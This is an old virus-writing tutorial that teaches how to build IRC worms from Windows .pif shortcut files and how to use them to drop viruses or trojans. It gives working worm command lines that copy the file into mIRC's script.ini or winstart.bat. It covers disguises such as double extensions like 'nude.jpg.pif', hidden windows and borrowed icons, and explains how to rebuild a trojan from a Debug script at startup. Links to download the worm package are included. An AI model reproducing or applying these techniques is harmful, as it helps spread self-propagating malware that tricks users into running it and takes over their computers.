ž+øÏ0Ïø+ž+øÏ0Ïø+ž+øÏ0Ïø+ž+øÏ0Ïø+ž+øÏ0Ïø+ž |"""""""""""""""""""""""""""""""""""| PIF FILES & WORM, VIRUS & TROJANS _-_-_-_----------------------------------_-_-_-_ ¤°¤°¤°¤°¤°¤°¤°¤°¤°¤°¤°¤°¤°¤°¤°¤°¤° A .pif Viral Tutorial by Del_Armg0 GrEEtz & ThX to : | Secret_- / Perikles / Anaktos / Simon7 | for good ideas and testing. | - - - - - - - - - | MATRiX Team / Phage / VirusBust / .. / . | to be electr0friends. | | MegaGreets to Daniel3 | for correct., thx a lot ! | Pif files can be used to spread viral files, like a virus or a trojan. It can also be a worm by itself, let's see it... [u will need to know batch/dos language and how to use Debug] Please if u wanna know more thx to Download the whole PIF package on : ---------------- [1] - PIF WORM : ---------------- Pifedit doesn't exist in Win9x; to make a pif file, just right click -> 'new' -> 'shortcut'. When the panel appears, just enter a command line like C:\command.com, after that choose a name "wormtest" and push enter ! ( u can take a program shortcut already existing too ) Now right click on the pif file, and choose 'properties'; go now on the 'program' panel, here is the main pif control panel. Before to learn more... let's look some of my Pif worms command line ... IRC-WORM Elsa: -------------- C:\COMMAND.COM /C copy C:\mirc\download\cuteELSA.JPG.pif C:\mirc\script.ini /Y C:\MIRC IRC-WORM Elsa.b: ---------------- C:\COMMAND.COM /C copy C:\mirc\download\EmmaPeel.HTML.pif C:\mirc\script.ini / C:\MIRC IRC-Worm.Movie.c: ----------------- %comspec% /c copy c:\mirc\download\X_PASS.TXT.pif %windir%\winstart.bat C:\ IBLIS_FinalVersion: ------------------- %comspec% /c copy IBLIS_~1.pif ..\script.ini /Y (nothing here) Now, I guess you understand a bit more.. Let's return to our wormtest.pif file... Now choose a name for your worm, let's take for example nude.jpg.pif, so just rename the pif file as nude.jpg, because a .pif extension is always invisible (cool :). Let's goto the 'program' panel in the pif file properties... a- command line : ----------------- One of the great pif features is the command line, the characters number is limited, but it's ok to make great things... Of course the worm file has to copy itself somewhere in the computer, mIRC Dir. and Windows Dir. are the main targets... U have to use command.com to do that stuff, just look at my 4 command lines and let's try 'em; of course the last is the better, cos' he can install the script into the mIRC Dir. even if it's different than C:\mirc\; it's the smallest too :) . If you copy the pif file as a mirc script, u will have to edit it and include some scripting commands; if u copy the pif to winstart.bat, it will contain some dos commands... Just look at the 4 .pif files in the PifWorm.zip, put them in a text editor, and u will understand ... b- work directory : ------------------- It's really better to leave him blank... ;) c- execute : ------------ Here u will have to choose if a window will appear when the worm is launched... don't be silly ;) d- change icon : ---------------- It's a greeaaat feature, but try to choose a program that everybody will have and that all the Windows versions have at the same place, like notepad, paint, ... Those are the main properties to change to transform a silly shortcut, into a nice worm :) The last thing is to edit the pif file with some scripting or dos commands. For opening and saving a Pif file without corrupting him, you have to use edit (viva Dos), So u can add some commands in the worm, so when copied into the mIRC Dir. as script.ini, mIRC.exe will load him, and will understand the commands, it's the same when renamed as .bat. Oki ? Main features needed: --------------------- * run at each windows startup. * spread a copied files (not the main worm, or the user could delete it). * use stealth and deep-rooting. * target actually Mirc & Pirch (i'm trying with Virc, but...). --------------------------------- [2] - SPREADING VIRUS or TROJAN : --------------------------------- So how do you spread a virus or install trojan on a remote computer with .pif files ... ? It's really easy in fact, u will have to make a pif command line like : %comspec% /c copy sexbmp~1.pif %windir%\winstart.bat C:\ Rename the pif file to sex.bmp, and edit it. "Transform" now your virus/trojan in a Debug script. The Pif file will copy himself as winstart.bat in %windir%, so easy now... You will have to add the debug script to the winstart.bat and add the others features (will run at the windows startup). Summary: -------- - first transform your virus or trojan into a debug script - include the debug script in the winstart.bat - the .bat must save the debug script - after that, it must run Debug to make an exe via the debug script - and finally run the new exe or modify registry to run it Oki ?¿ 090600 ...any questions... Del_Armg0@trojanslair.zzn.com ...total PIf tutorial... http://www.coderz.net/matrix/pt20.zip http://members.xoom.com/Del_armg0/Del_A.htm http://www.coderz.net/matrix/ http://altern.org/mvx/ Cya!